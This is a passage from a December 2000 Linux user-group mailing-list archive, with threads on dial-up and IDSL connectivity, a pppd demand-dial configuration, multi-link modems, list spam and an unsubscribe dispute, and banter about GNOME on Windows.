that's making the connection to the ISP cause problems? The other big question is on modem capabilites. Since I'm not able to get DSL or cable modem, Ricochet is also out of the question, can two modems be multi-linked to get faster download speeds? I know it's capable in W98se, as long as they are two different modems. I have an external USR 56k modem (max connection speeds of 45,333 really) and an internal ISA USR 56k modem (connections up to 51xxx). Can I set up my server to initiate and dial both modems to connect to my ISP automatically when a request is sent? I've thought about satellite from Starband, but it's $700 to start with hardware, $80 a month. Static IP's are out of the question, as is webhosting with them, also it's a 6 second delay so gaming is out. Don't know if Linux supports it either. I've looked into ISDN, but am having a hard time justifying the need to buy another modem for ISDN, and the $105 to $120+ a month for 128k connections. If I can use both modems simultaneously I'd rather go with that than the other high cost solutions. Thanks, Shawn From dkleist at acm.org Sat Dec 9 13:06:58 2000 From: dkleist at acm.org (Dave Kleist) Date: Mon Jan 17 13:13:24 2005 Subject: [TCLUG] Network setup question Message-ID: <01C061E0.EA861C00.dkleist@acm.org> IDSL (DSL based off ISDN, 144k up/down, latency is so-so) is cheaper than that (not sure of the current price they are quoting). It takes forever to get it installed (5 months for me, 6 months for others I've spoken with), but the bridge was free after rebate, got a static ip, and no installation charges. Onvoy does not currently seem to care what I do over the line (no AUP restrictions that I've seen). Also, IDSL is not limited to the 18000 feet limit so it's available where ADSL/RADSL/etc is not. - Dave I've looked into ISDN, but am having a hard time justifying the need to buy another modem for ISDN, and the $105 to $120+ a month for 128k connections. If I can use both modems simultaneously I'd rather go with that than the other high cost solutions. From fjorn at mninter.net Sat Dec 9 13:17:07 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:24 2005 Subject: [TCLUG] Network setup question References: <01C061E0.EA861C00.dkleist@acm.org> Message-ID: <3A328533.F80DA413@mninter.net> Dave Kleist wrote: > IDSL (DSL based off ISDN, 144k up/down, latency is so-so) is cheaper than > that (not sure of the current price they are quoting). It takes forever to > get it installed (5 months for me, 6 months for others I've spoken with), > but the bridge was free after rebate, got a static ip, and no installation > charges. Onvoy does not currently seem to care what I do over the line (no > AUP restrictions that I've seen). Also, IDSL is not limited to the 18000 > feet limit so it's available where ADSL/RADSL/etc is not. > Looked into this as well. I called Telocity, Rhythms, Flashcom, etc. and have all been told the same thing: No. Reason is because the main switching station hasn't been upgraded yet. I live less than a mile from the main switching station so I more than qualify for DSL when and if it ever gets here.... From mend0070 at tc.umn.edu Sat Dec 9 13:24:39 2000 From: mend0070 at tc.umn.edu (Philip C Mendelsohn) Date: Mon Jan 17 13:13:24 2005 Subject: [TCLUG] Re: funny spam In-Reply-To: <20001208103805.B28060@sherohman.org> Message-ID: On Fri, 8 Dec 2000, Dave Sherohman wrote: > Your pseudoword count needs much work... A few results found at > dictionary.com: Sure, use a pseudo-dictionary to check for pseudowords! Just kidding, but I prefer www.oed.com -- check it out. > > Benjamin Exley > > Online Webmaster > > The Minnesota Daily > > *sigh* ditto! Cheers, Phil M -- "To misattribute a quote is unforgivable." --Anonymous From mauvehead at nerp.net Sat Dec 9 13:27:54 2000 From: mauvehead at nerp.net (Nate Sanders) Date: Mon Jan 17 13:13:24 2005 Subject: [TCLUG] Network setup question References: <01C061E0.EA861C00.dkleist@acm.org> Message-ID: <3A3287BA.8032E7C3@nerp.net> You mean I'm not the only one who waited 6 MONTHS for iDSL? I thought they just hated me or something. Placed the order in December. Got the iDSL installed in June. Dave Kleist wrote: > > IDSL (DSL based off ISDN, 144k up/down, latency is so-so) is cheaper than > that (not sure of the current price they are quoting). It takes forever to > get it installed (5 months for me, 6 months for others I've spoken with), > but the bridge was free after rebate, got a static ip, and no installation > charges. Onvoy does not currently seem to care what I do over the line (no > AUP restrictions that I've seen). Also, IDSL is not limited to the 18000 > feet limit so it's available where ADSL/RADSL/etc is not. > > - Dave > -- Nate Sanders darkskull@IRC (newnet) mauvehead@nerp.net http://www.damnation.net ______________________________________________________________________ who | grep -i blonde | date; cd ~; unzip; touch; strip; finger; mount; gasp; yes; uptime; umount; sleep - Unix Is Sexy. From andyzib at ringworld.org Sat Dec 9 16:19:18 2000 From: andyzib at ringworld.org (Andrew S. Zbikowski) Date: Mon Jan 17 13:13:24 2005 Subject: [TCLUG] Network setup question References: <3A325E5A.57F9BE62@mninter.net> Message-ID: <3A32AFE6.2632758C@ringworld.org> Low end pentium will definitly handle it. Our nat box is a decrepid 486. It's running dhcp, dns, printer sharing (via lpd) If you're going to autodial don't use diald or similar soultions. pppd has a quite useful demand dialing mode. Here's how I did it under Debian: /etc/ppp/options: # Begin /etc/ppp/opetions demand # Disconnect if Idle for 5 minutes idle 300 ipcp-accept-remote ipcp-accept-local lock noauth defaultroute asyncmap 0 crtscts hide-password #modem proxyarp lcp-echo-interval 30 lcp-echo-failure 4 noipx user username remotename isd.net modem 57600 crtscts #connect '/usr/sbin/chat -v -f /etc/ppp/call-isp' connect '/usr/bin/pon' # End /etc/ppp/options It's been a long time since I've had to use this, so no promises as to wether it works or not. As for NAT compatiblity, we have no problems playing quake3, UT, StarCraft, etc on one IP. Linux IPMasq has modules to get full functionality out of other apps (irc, icq, quake and quake2, etc...) and ipautofw (or whatever it is...) should handle simple stuff. Some games may still require special ipchains rules, most of the documentation I've found is for 2.0 kernels though. -- | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | "If there's anything more important than my | | ego around, I want it caught and shot now." | From blutgens at sistina.com Sat Dec 9 16:24:45 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:24 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE In-Reply-To: <3A31985E.C36AB857@ringworld.org>; from andyzib@ringworld.org on Sat, Dec 09, 2000 at 02:26:38AM +0000 References: <20001208162009.23140.qmail@web10304.mail.yahoo.com> <3A310E38.41BCF609@ltiflex.com> <007501c0617b$d2116180$01f7a8c0@monster> <20001208193942.B24212@sorry.cs.umn.edu> <3A3197E1.DCC86C8F@ringworld.org> <3A31985E.C36AB857@ringworld.org> Message-ID: <20001209162445.A1376@socrates.sistina.com> On Sat, Dec 09, 2000 at 02:26:38AM +0000, Andrew S. Zbikowski wrote: >> > >Oh yeah, forgot. Ben, you're an idiot. NOW I fell much better. Hehe, glad ot be of service. :-) always like to help out a fellow dork. > >(Sorry and thanks Ben, I've got a smile ear to ear now > Huh? I must have missed something. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... 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DROP THE MOUSE AND CALL 415-273-5279 DROP THE MOUSE AND CALL *********************** 415-273-5279 ******************* From mtsqph at yahoo.com Sat Dec 9 19:06:03 2000 From: mtsqph at yahoo.com (grey Moon-Wolf) Date: Mon Jan 17 13:13:24 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE Message-ID: <20001210010603.77778.qmail@web10303.mail.yahoo.com> --- Ben Lutgens wrote: > On Sat, Dec 09, 2000 at 02:26:38AM +0000, Andrew S. > Zbikowski wrote: > >> Excuse me. I am the person who was spoken of as an 'idiot'. The unsubscribe bot and address are of no use.... but at least I can spell correctly. And kindly do not speak of me second-handedly, if you want to call me an idiot, do it to my face... I do not have any respect for people who treat someone as 'some thing'. Again, I request to be removed. I made this request once before. Thank you in advance. Manuel. __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From eric at urbanrage.com Sat Dec 9 19:32:54 2000 From: eric at urbanrage.com (eric) Date: Mon Jan 17 13:13:24 2005 Subject: [TCLUG] can this list be fixed? Message-ID: <3A32DD46.2E0FDC31@urbanrage.com> Can this list be fixed so at least you have to be subscribed to spam it (please)? Eric eric@urbanrage.com -------------- next part -------------- A non-text attachment was scrubbed... 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System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001209/1d1e5796/attachment.pgp From blutgens at sistina.com Sat Dec 9 19:38:14 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:25 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE In-Reply-To: <20001210010603.77778.qmail@web10303.mail.yahoo.com>; from mtsqph@yahoo.com on Sat, Dec 09, 2000 at 05:06:03PM -0800 References: <20001210010603.77778.qmail@web10303.mail.yahoo.com> Message-ID: <20001209193813.B4597@socrates.sistina.com> On Sat, Dec 09, 2000 at 05:06:03PM -0800, grey Moon-Wolf wrote: > >--- Ben Lutgens wrote: >> On Sat, Dec 09, 2000 at 02:26:38AM +0000, Andrew S. >> Zbikowski wrote: >> >> >Excuse me. I am the person who was spoken of as an >'idiot'. Actually dude the "Ben is an idiot" joke started about two months ago. You may not have been subscribed then. It was even in a poll. So relax, if anyone would call you an idiot it would probably have been me :-) I can assure you Andy was talking about that joke. >The unsubscribe bot and address are of no use.... but >at least I can spell correctly. >And kindly do not speak of me second-handedly, if you >want to call me an idiot, do it to my face... >I do not have any respect for people who treat someone >as 'some thing'. > Uh....ooooo...kaaaayy. > >Again, I request to be removed. I made this request >once before. > Um, did you try the webpage? You'll need to first have your passwd mailed to you. If all else fails, fire up a procmail filter to send all the tclug mail to /dev/null >Thank you in advance. >Manuel. > >__________________________________________________ >Do You Yahoo!? >Yahoo! Shopping - Thousands of Stores. Millions of Products. >http://shopping.yahoo.com/ >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... 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Or do they just take some poor shmucks adress and use it? ____________________________________________________ If what I say offends you then it was probably meant to do so Andrew Nemchenko drew@usfamily.net Home: 651-681-8572 Work: 952-932-4081 Pager: 612-264-1737 http://www.kuzmich.cjb.net ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001209/ddb766fd/attachment.html From dopp at acm.cs.umn.edu Sat Dec 9 21:15:45 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:25 2005 Subject: [TCLUG] question about spam In-Reply-To: <008301c06255$d495c060$d182e13f@gateway>; from drew@usfamily.net on Sat, Dec 09, 2000 at 09:03:53PM -0600 References: <008301c06255$d495c060$d182e13f@gateway> Message-ID: <20001209211545.A28506@sorry.cs.umn.edu> In order for them not to get their asses sued, they do send from a legit address. The deal is, it's like you suggest: It's only a valid address when they send the mail. At the very bottom of most spams, it says something to the effect of, "The address this mail is sent from is valid as of the sending of this mail". So, yeah, they found a loophole in the laws in the states/countries where bulk emailing is regulated. Gabe On Sat, Dec 09, 2000 at 09:03:53PM -0600, Andrew Nemchenko wrote: > I have a question about spam, you know how the spam comes from some email adress right? for example qxeye@jyrki.com but when you try to send an email to that adress I get an undeliverable response. My question is Is that a reall email adress that becomes active to send the bulk email and then becomes innactive again. Or is that just a fake made up address that they mannaged to forge the email headers with? Or do they just take some poor shmucks adress and use it? > ____________________________________________________ > If what I say offends you then it was probably meant to do so > > > Andrew Nemchenko > drew@usfamily.net > Home: 651-681-8572 > Work: 952-932-4081 > Pager: 612-264-1737 > http://www.kuzmich.cjb.net > > > > > ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Ee'm the cat!!" - Ren Hoek in "Stimpy's Big Day" -------------------------------------------------------------------------------- From blutgens at sistina.com Sat Dec 9 22:00:05 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:25 2005 Subject: [TCLUG] question about spam In-Reply-To: <008301c06255$d495c060$d182e13f@gateway>; from drew@usfamily.net on Sat, Dec 09, 2000 at 09:03:53PM -0600 References: <008301c06255$d495c060$d182e13f@gateway> Message-ID: <20001209220005.A6354@socrates.sistina.com> On Sat, Dec 09, 2000 at 09:03:53PM -0600, Andrew Nemchenko wrote: it's a forged email address. and STOP POSTING HTML. post plain text. Is it that hard to grasp? Sheesh! -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001209/be2e862a/attachment.pgp From zibby at ringworld.org Sat Dec 9 22:52:34 2000 From: zibby at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:13:25 2005 Subject: [TCLUG] Gnome ported to Windows In-Reply-To: <20001209182951.A3125@socrates.sistina.com> Message-ID: http://www.ringworld.org/~zibby/Screenshots/AtWork.jpg Hey look, I can generate the same effect! :) To me it looks like they're just running a Windows based X server. Since you can't see their windows taskbar this can't really be confirmed. On a similar note, here's my screenshot of IE "ported" to windows. http://www.ringworld.org/~zibby/Screenshots/Disturbing.png Now here's the riddle you have to solve: All biniaries on my system are linux native. IE isn't running under wine, and the screenshot is not doctored in anyway (other than I resised it...) Allright...this should be hard to figure out for those who know what I do at work...so stay outta this! :) So how did Zibby get IE running under linux? :) | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | This message is protected by double ROT13 | | encryption. Any attempt to circumvent the | | digital protection is banned by the DMCA. | On Sat, 9 Dec 2000, Ben Lutgens wrote: > On Sat, Dec 09, 2000 at 06:06:27PM -0600, Jamie Ostrowski wrote: > > > > I heard this morning that Gnome has been ported to windows. > > > > Yeah, I heard this too and I just have to ask myself: "Why?" > > > > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > From mpaulsen at charter.net Sat Dec 9 23:14:30 2000 From: mpaulsen at charter.net (Mike Paulsen) Date: Mon Jan 17 13:13:25 2005 Subject: [TCLUG] question about spam In-Reply-To: <008301c06255$d495c060$d182e13f@gateway> Message-ID: <5.0.0.25.2.20001209222256.00a20e90@mail.charter.net> At 09:03 PM 12/9/00 -0600, Andrew N. wrote: >I have a question about spam, you know how the spam comes from some email >adress right? for example qxeye@jyrki.com but when >you try to send an email to that adress I get an undeliverable response. >My question is Is that a reall email adress that becomes active to send >the bulk email and then becomes innactive again. Or is that just a fake >made up address that they mannaged to forge the email headers with? Or do >they just take some poor shmucks adress and use it? Spammers forge headers, abuse open relays, obfuscate URLs, use redirect sites, use encrypted javascript, etc. But this isn't a spam mailing list, so I'm going to stop before I get started. (ok, ok, the "Live like the RICH spam should be reported to abuse@bellatlantic.net) Some resources, in no particular order: usenet: news.admin.net-abuse.email http://www.ews.uiuc.edu/~tskirvin/nana/ http://www.cauce.org/ http://www.abuse.net/ http://www.samspade.org/d/ Finally, and most importantly, see this URL and follow the instructions for Outlook Express 5. Thanks. http://www.houghi.org/ From jethro at freakzilla.com Sun Dec 10 00:13:14 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:25 2005 Subject: [TCLUG] Gnome ported to Windows In-Reply-To: Message-ID: Hi, On Sat, 9 Dec 2000, Andy Zbikowski (Zibby) wrote: > So how did Zibby get IE running under linux? :) ^^^ I believe you misspelled "why". (; -Yaron -- From fjorn at mninter.net Sun Dec 10 00:16:43 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:25 2005 Subject: [TCLUG] Network setup question References: <3A325E5A.57F9BE62@mninter.net> <3A32AFE6.2632758C@ringworld.org> Message-ID: <3A331FCB.4AC395D4@mninter.net> < It's been a long time since I've had to use this, so no promises as to wether it works or not. As for NAT compatiblity, we have no problems playing quake3, UT, StarCraft, etc on one IP. Linux IPMasq has modules to get full functionality out of other apps (irc, icq, quake and quake2, etc...) and ipautofw (or whatever it is...) should handle simple stuff. Some games may still require special ipchains rules, most of the documentation I've found is for 2.0 kernels though. >> Seems simple enough. I've only really played around with kppp, and just recently within the last couple of days started to learn wvdial setup. Since I don't plan on using X or any windows managers on the machine, I'm learning from the ground up on this. Have had my nose in the networking text the past few days some makes sense, others require more deciphering. Still trying to find an answer to my question of if I can auto dial using two modems (one internal, one external) simultaneously. Looking at the setup, seems like it may be possible given a few extra lines. Hopefully I'm right on that. Also, need to figure out how to configure my internal non-winmodem to work. Back to the books. Thanks for the help. Shawn From austad at marketwatch.com Sun Dec 10 01:22:23 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:25 2005 Subject: [TCLUG] can this list be fixed? Message-ID: The list does not allow posts from addresses that are not subscribed, I just tested it. These spammers are actually subscribing to the list. Tedious for the spammers maybe, but if you think about how many people each list address is worth, it's probably worth it for them. All they really need to do is grep for "\-list" in their lists of addresses that they harvest and write a script that subscribes to all of them, and have something that autoreplies to them. Not hard. ORBS or MAPS is probably the only real solution for this. Baseball bats to the kneecaps might work also, but then you have to find out where they live. :) Some email programs have spam filters built in. Outlook does, but it doesn't work very well. Most of the emails from managers at my company show up as spam. Maybe that's not a bug though.... hrm.. Jay > -----Original Message----- > From: eric [mailto:eric@urbanrage.com] > Sent: Saturday, December 09, 2000 7:33 PM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] can this list be fixed? > > > Can this list be fixed so at least you have to be subscribed > to spam it > (please)? > > Eric > eric@urbanrage.com > From isla0005 at tc.umn.edu Sun Dec 10 03:48:10 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:13:25 2005 Subject: [TCLUG] can this list be fixed? References: Message-ID: <3A33515A.62F63A8F@tc.umn.edu> I am up for the baseball bat thing. Are we marketing test rats? We definitely need some sort of filter. Apu "Austad, Jay" wrote: > The list does not allow posts from addresses that are not subscribed, I just > tested it. These spammers are actually subscribing to the list. Tedious > for the spammers maybe, but if you think about how many people each list > address is worth, it's probably worth it for them. > > All they really need to do is grep for "\-list" in their lists of addresses > that they harvest and write a script that subscribes to all of them, and > have something that autoreplies to them. Not hard. > > ORBS or MAPS is probably the only real solution for this. Baseball bats to > the kneecaps might work also, but then you have to find out where they live. > :) > > Some email programs have spam filters built in. Outlook does, but it > doesn't work very well. Most of the emails from managers at my company show > up as spam. Maybe that's not a bug though.... hrm.. > > Jay > > > -----Original Message----- > > From: eric [mailto:eric@urbanrage.com] > > Sent: Saturday, December 09, 2000 7:33 PM > > To: tclug-list@lists.real-time.com > > Subject: [TCLUG] can this list be fixed? > > > > > > Can this list be fixed so at least you have to be subscribed > > to spam it > > (please)? > > > > Eric > > eric@urbanrage.com > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Sun Dec 10 02:04:38 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:26 2005 Subject: [TCLUG] Gnome ported to Windows In-Reply-To: ; from zibby@ringworld.org on Sat, Dec 09, 2000 at 10:52:34PM -0600 References: <20001209182951.A3125@socrates.sistina.com> Message-ID: <20001210020438.B28679@wookimus.net> On Sat, Dec 09, 2000 at 10:52:34PM -0600, Andy Zbikowski (Zibby) wrote: > Now here's the riddle you have to solve: All biniaries on my system are > linux native. IE isn't running under wine, and the screenshot is not > doctored in anyway (other than I resised it...) > > Allright...this should be hard to figure out for those who know what I do > at work...so stay outta this! :) So how did Zibby get IE running under > linux? :) Oh, come on! I want to tell them! You're cheating SO badly with this one! Can't I give them a hint? Please?! OK... I'm going to give them one little hint... Think in terms of networking... -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... 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Jay > -----Original Message----- > From: Chad '^chewie' Walstrom [mailto:chewie@wookimus.net] > Sent: Sunday, December 10, 2000 2:05 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Gnome ported to Windows > > > On Sat, Dec 09, 2000 at 10:52:34PM -0600, Andy Zbikowski > (Zibby) wrote: > > Now here's the riddle you have to solve: All biniaries on > my system are > > linux native. IE isn't running under wine, and the screenshot is not > > doctored in anyway (other than I resised it...) > > > > Allright...this should be hard to figure out for those who > know what I do > > at work...so stay outta this! :) So how did Zibby get IE > running under > > linux? :) > > Oh, come on! I want to tell them! You're cheating SO badly with this > one! Can't I give them a hint? Please?! OK... I'm going to give > them one little hint... Think in terms of networking... > > -- > Chad "^chewie, gunnarr" Walstrom > http://www.wookimus.net/ > From chewie at wookimus.net Sun Dec 10 02:15:28 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:26 2005 Subject: [TCLUG] Network setup question In-Reply-To: <3A331FCB.4AC395D4@mninter.net>; from fjorn@mninter.net on Sun, Dec 10, 2000 at 12:16:43AM -0600 References: <3A325E5A.57F9BE62@mninter.net> <3A32AFE6.2632758C@ringworld.org> <3A331FCB.4AC395D4@mninter.net> Message-ID: <20001210021528.C28679@wookimus.net> On Sun, Dec 10, 2000 at 12:16:43AM -0600, fjorn wrote: > Seems simple enough. I've only really played around with kppp, and > just recently within the last couple of days started to learn wvdial > setup. Since I don't plan on using X or any windows managers on the > machine, I'm learning from the ground up on this. Have had my nose > in the networking text the past few days some makes sense, others > require more deciphering. Yeah!!! We finally convinced you that learning how things ACTUALLY work is beneficial! Anyway, I knew it would only be a matter of time anyway. > Still trying to find an answer to my question of if I can auto dial > using two modems (one internal, one external) simultaneously. > Looking at the setup, seems like it may be possible given a few > extra lines. Hopefully I'm right on that. Also, need to figure out > how to configure my internal non-winmodem to work. Back to the > books. Your internal modem needs to be configured at two levels. If it's ISA, like most legacy modems, including mine, you must initialize the card itself with the isapnp tools for the 2.2.x kernels, or you must use a 2.4.x kernel with built in ISA support. Next, you must make sure that you have a dedicated IRQ and I/O port for the serial device the modem will use. This means that your modem must have an IRQ of 3 or 4 and an one of the four allowable serial I/O ports. These serial ports are set up with the 'setserial' tool. Essentially, all of this information is in the PPP-HOWTO and other various HOWTO's and manuals. Most HOWTO'S and manuals are packaged with the CD your Linux distribution was on or via the Internet. You have a lot of homework ahead of you, especially if you wish to get MPPP working, the multi-link PPP protocol. I believe this is available in the new Pppd and the newer 2.4 kernels. Have fun, and remember, google.com is your friend: http://www.google.com/search?q=Linux+PPP+Multi-link -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... 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Jay From blutgens at sistina.com Sun Dec 10 09:40:58 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:26 2005 Subject: [TCLUG] Gnome ported to Windows In-Reply-To: ; from austad@marketwatch.com on Sun, Dec 10, 2000 at 02:10:45AM -0600 References: Message-ID: <20001210094058.C16864@socrates.sistina.com> On Sun, Dec 10, 2000 at 02:10:45AM -0600, Austad, Jay wrote: >windows box. If I could just get outlook to display on my linux box, my First of all if you could we'd probably bring you up on charges. Dude, buckle down and get used to mutt, trust me it beats LookOut anyday. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001210/f9e8d5be/attachment.pgp From blutgens at sistina.com Sun Dec 10 09:45:11 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:27 2005 Subject: [TCLUG] can this list be fixed? In-Reply-To: ; from austad@marketwatch.com on Sun, Dec 10, 2000 at 01:22:23AM -0600 References: Message-ID: <20001210094511.D16864@socrates.sistina.com> On Sun, Dec 10, 2000 at 01:22:23AM -0600, Austad, Jay wrote: >The list does not allow posts from addresses that are not subscribed, I just >tested it. These spammers are actually subscribing to the list. Tedious >for the spammers maybe, but if you think about how many people each list >address is worth, it's probably worth it for them. no actually they are sending it through the old majordomo list. Bob needs to change the setup on that box and use aliases intead of subscribing the newlist to the old one. (at least thats what it looks like you did bob correct me if i'm wrong.) >ORBS or MAPS is probably the only real solution for this. Baseball bats to >the kneecaps might work also, but then you have to find out where they live. Please find out the addresses of all spammers, I'll start the cleansing if you do ;-) Personally I think some chlorine in the gene pool is LOOONG overdue. > >Some email programs have spam filters built in. Outlook does, but it >doesn't work very well. Most of the emails from managers at my company show >up as spam. Maybe that's not a bug though.... hrm.. use procmail. But there are limitations to that too. I still get spam.. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001210/18559c45/attachment.pgp From tanner at real-time.com Sun Dec 10 10:01:31 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:27 2005 Subject: [TCLUG] can this list be fixed? In-Reply-To: <20001210094511.D16864@socrates.sistina.com>; from blutgens@sistina.com on Sun, Dec 10, 2000 at 09:45:11AM -0600 References: <20001210094511.D16864@socrates.sistina.com> Message-ID: <20001210100131.O27348@real-time.com> Quoting Ben Lutgens (blutgens@sistina.com): > no actually they are sending it through the old majordomo list. Bob needs to > change the setup on that box and use aliases intead of subscribing the newlist > to the old one. (at least thats what it looks like you did bob correct me if > i'm wrong.) The old list was ezmlm and I am using aliasing. > >ORBS or MAPS is probably the only real solution for this. Baseball bats to > >the kneecaps might work also, but then you have to find out where they live. > > Please find out the addresses of all spammers, I'll start the cleansing if you > do ;-) Personally I think some chlorine in the gene pool is LOOONG overdue. We do use MAPS already, but it's a little slow on getting stuff into the database. That is why I am asking to use ORBS. I'll cut the rest of the tclug mailing list over from the old box and then we should not have to worry about it. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From sextus at visi.com Sun Dec 10 10:08:09 2000 From: sextus at visi.com (Michael Burns) Date: Mon Jan 17 13:13:27 2005 Subject: [TCLUG] can this list be fixed? In-Reply-To: ; from Austad, Jay on Sun, Dec 10, 2000 at 01:22:23AM -0600 References: Message-ID: <20001210100809.A17407@visi.com> ON Sun, Dec 10, 2000 at 01:22:23AM -0600, Austad, Jay wrote: > The list does not allow posts from addresses that are not subscribed, I just > tested it. These spammers are actually subscribing to the list. Tedious > for the spammers maybe, but if you think about how many people each list > address is worth, it's probably worth it for them. > > All they really need to do is grep for "\-list" in their lists of addresses > that they harvest and write a script that subscribes to all of them, and > have something that autoreplies to them. Not hard. > > ORBS or MAPS is probably the only real solution for this. Baseball bats to > the kneecaps might work also, but then you have to find out where they live. The list could be changed to submit a subscriber's first post for moderation and add the subscriber's address to a "known good" list if accepted. Since this list could be considered to have a number of "trusted" regulars who could be made moderators and a relatively low rate of posts from new subscribers, administration would be quite manageable. The approach would work until one of the moderators or regulars "defected" or the spammers started posting on-topic questions to the list before spamming it or posed as regulars before defecting. -- Michael From fjorn at mninter.net Sun Dec 10 11:06:11 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:27 2005 Subject: [TCLUG] Network setup question References: <3A325E5A.57F9BE62@mninter.net> <3A32AFE6.2632758C@ringworld.org> <3A331FCB.4AC395D4@mninter.net> <20001210021528.C28679@wookimus.net> Message-ID: <3A33B803.2CC38C59@mninter.net> >Yeah!!! We finally convinced you that learning how things ACTUALLY >work is beneficial! Anyway, I knew it would only be a matter of time >anyway. Honestly, I've wanted to learn how things have worked from the bottom level for a long time. Just been seriously lacking in time to do so. So in the kppp sense, it was faster to get that set up to I can learn more of the basic OS parts of Linux while dialing in and getting my mail. I work with AIX 4.3.3 all day long and enjoy it (I'm a Junior Sys Admin promoted up from the helpdesk about 2 months ago) while learning all I can. While my server won't have X on it, I do prefer Gnome for a GUI front end on workstations. Thanks for the info on the multi modem/link setup. Knew about the IRQ and serial stuff (Basic computing 101), but wasn't sure if the kernel was capable. I've been reading a book called "Linux Complete" from Cybex. Was cheap, $20, and covers a lot of information. The book is nothing more than a bunch of how-to's, and history, with some commands thrown in. Good book to get started with, and answered a lot of my questions. I briefly looked at the linuxdocs.org page and didn't see anything, probably overlooking far too many things. Shawn From blutgens at sistina.com Sun Dec 10 11:09:07 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:27 2005 Subject: [TCLUG] can this list be fixed? In-Reply-To: <20001210100809.A17407@visi.com>; from sextus@visi.com on Sun, Dec 10, 2000 at 10:08:09AM -0600 References: <20001210100809.A17407@visi.com> Message-ID: 